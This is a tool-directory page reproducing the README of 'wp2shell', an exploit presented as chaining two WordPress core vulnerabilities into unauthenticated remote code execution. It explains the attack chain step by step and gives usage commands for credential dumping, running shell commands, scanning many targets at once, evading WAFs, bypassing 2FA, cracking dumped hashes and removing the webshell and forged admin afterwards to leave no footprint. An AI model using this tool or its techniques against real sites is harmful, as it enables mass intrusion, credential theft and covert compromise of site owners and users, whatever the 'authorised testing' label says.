Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only. | Kitploit
Tools/GitHubGitHub/mcipekci/wp2shell
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed TeamingPayload Development
GitHub
158262 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
mcipekci/wp2shell

wp2shell

Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.

View Repository

wp2shell — Pre-Auth RCE in WordPress core

Unauthenticated WordPress core RCE PoC chaining CVE-2026-63030 + CVE-2026-60137. Authorized testing only.

wp2shell.py is a single-file, standard-library-only proof of concept that chains two WordPress core vulnerabilities into unauthenticated remote code execution:

CVEComponentBug
CVE-2026-63030REST /batch/v1 handlerroute-confusion desync — the batch handler loses sync between its handler table and its validation table once a sub-request path fails to parse, so a sub-request is dispatched through a handler it was never validated for.
CVE-2026-60137WP_Queryscalar SQL injection — the author__not_in value is pasted straight into SQL, so a string reaching it is injectable.

Neither is RCE on its own. The desync is the delivery (it smuggles an attacker string into a query it should never reach); the injection is the primitive. Together they give a pre-auth attacker a full SQL read/write oracle, and from there a working shell.

⚠️ Authorised testing only. This exploits live WordPress installs. Use it only against systems you own or have explicit written permission to test.


Affected versions

Vulnerable: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Patched: 6.8.6, 6.9.5, 7.0.2 (and later) Reported by Adam Kues (Assetnote / Searchlight Cyber); SQLi also credited to TF1T, dtro, haongo.

Only 6.9.0–7.0.1 are RCE-capable. On the 6.8.x line the desync still fires, but the branch that would misalign the handler hits a WP_Error::get_method() fatal instead — so 6.8.x is a denial-of-service / crash, not a shell. The tool detects this and tells you which primitive is available.


How the chain works

The exploit is built in layers; each one is a bridge to the next.

  1. Desync (CVE-2026-63030). A batch request nests a second batch. One sub-request carries a deliberately malformed path (http://:, which wp_parse_url() rejects). In 6.9.0+ the failed parse makes the handler and validation tables drift by one entry, so the next sub-request runs under a handler it was never validated against — the public posts collection.

  2. Injection (CVE-2026-60137). That mis-dispatched call reaches WP_Query with an attacker-controlled author__not_in. A UNION ALL SELECT there doesn't read rows — it fabricates them, letting us forge arbitrary posts in the query result.

  3. SQL → write bridge. The fabricated posts carry [embed] markup. WordPress dutifully resolves and caches them as real oembed_cache post-meta rows — turning a read-only injection into an arbitrary write primitive.

  4. Privilege pivot. Using that write bridge we forge (a) a customizer changeset authored as the real administrator and (b) a self-referential request post. Together they force WordPress to re-run its own request pipeline as that admin — a window just long enough for a queued POST /wp/v2/users call to create a new administrator.

  5. Shell. Sign in as the new admin, upload a plugin, run the command. The account, its meta, the oembed rows, and the webshell are all cleaned up afterwards — no persistent footprint is left behind.

Extraction oracles

For the read side (--dump, prefix resolution, cached IDs) the tool auto-selects the fastest oracle that works and stops at the first hit:

  1. union — in-band UNION: the forged row's post_title carries |||HEX(value)|||, which is reflected verbatim in the /wp/v2/posts response body. Reads a whole value (any length) in one request. If UNION reflects, the boolean oracles are never probed.
  2. bool — boolean X-WP-Total oracle: the confused sub-response's X-WP-Total header is count>0 for true / 0 for false. One bit per request (bisection).
  3. time — time-based SLEEP(): the fallback when the body is stripped and the response is a 500 (e.g. a post-dispatch fatal from a caching mu-plugin). Works even on targets that crash on every REST call.

--dump uses GROUP_CONCAT to pull the whole credential set in one shot when UNION is available.


Installation

None. Python 3.7+ standard library only — no pip install.

chmod +x wp2shell.py

Usage

# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check

# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump

#    …every administrator
./wp2shell.py http://target --dump all

# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"

Read-only recon (no admin creation, bypasses 2FA)

./wp2shell.py http://target --user-list          # full user table (logins/emails/roles)
./wp2shell.py http://target --content            # every post type at status=any (private/draft)
./wp2shell.py http://target --content full        #   …including each item's raw body

Scanning many hosts

./wp2shell.py -f targets.txt --check --target-threads 8

Options

FlagPurpose
url / -f FILEsingle target, or a file of targets (one URL per line)
--checkvulnerability check only — no injection, writes, or account
--dump [all]dump the first admin's hash + secrets; all = every admin
--exec CMDcreate temp admin → run CMD → clean up
--user-listelevated in-band read of the full user table (no login, bypasses 2FA)
--content [full]elevated read of every post type at status=any; full adds bodies
--oracle {auto,union,bool,time}force an extraction oracle (default auto)
--prefix PFXforce the table prefix instead of auto-resolving
--impersonate UIDimpersonate this user id instead of the first admin
--threads Nconcurrent extraction probes within one target (default 5)
--target-threads Nscan N targets from -f concurrently (default 1)
--proxy URLroute through a proxy (e.g. Burp http://127.0.0.1:8080)
--timeout SECper-request timeout (default 30)
--verbose / -vdump raw batch sub-responses (debugging)

WAF / hardening evasion

FlagPurpose
--formsend the batch as multipart/form-data (clean URL, no ?rest_route=)
--permalink [PREFIX]route via /<PREFIX>/batch/v1 (default wp-json); keeps the payload out of the URL and out of $_POST. Tip: --permalink index.php/wp-json reaches REST via PATH_INFO, evading rules anchored on /wp-json
--dummy Nprepend N bytes of junk in the body to overflow a WAF inspection buffer
--donor {widgets,categories,tags}switch the confusion donor route if one 500s (default widgets)
--per-page Nforge per_page (-1 or a large positive both return all rows; use a large positive if the target 500s on -1)
--users-route PATHalternate case/query for the create-user call (/wp/v2/Users, …?_=1)
--primer PATHalternate malformed desync path if a WAF fingerprints the default http://:
--user-agent UApin the UA (default: a random realistic browser UA per run)
--embed-base URLoverride the oembed URL base (avoid a self-embed loopback)

Output notes

  • Password hashes ($wp$2y$… / $P$… / $2y$…) go straight to hashcat (-m 3200 for phpass, or the WP bcrypt mode). WordPress 6.8+ uses $wp$… bcrypt.
  • --dump defaults to the first administrator only. Use --dump all for the full admin list.
  • 500-error / crash targets: if a post-dispatch fatal (e.g. a Pantheon-style cache mu-plugin) turns every REST response into a 500, admin-creation won't work, but reads still do — pivot to --oracle time --dump to recover hashes.

Why the cleanup matters

Download Tool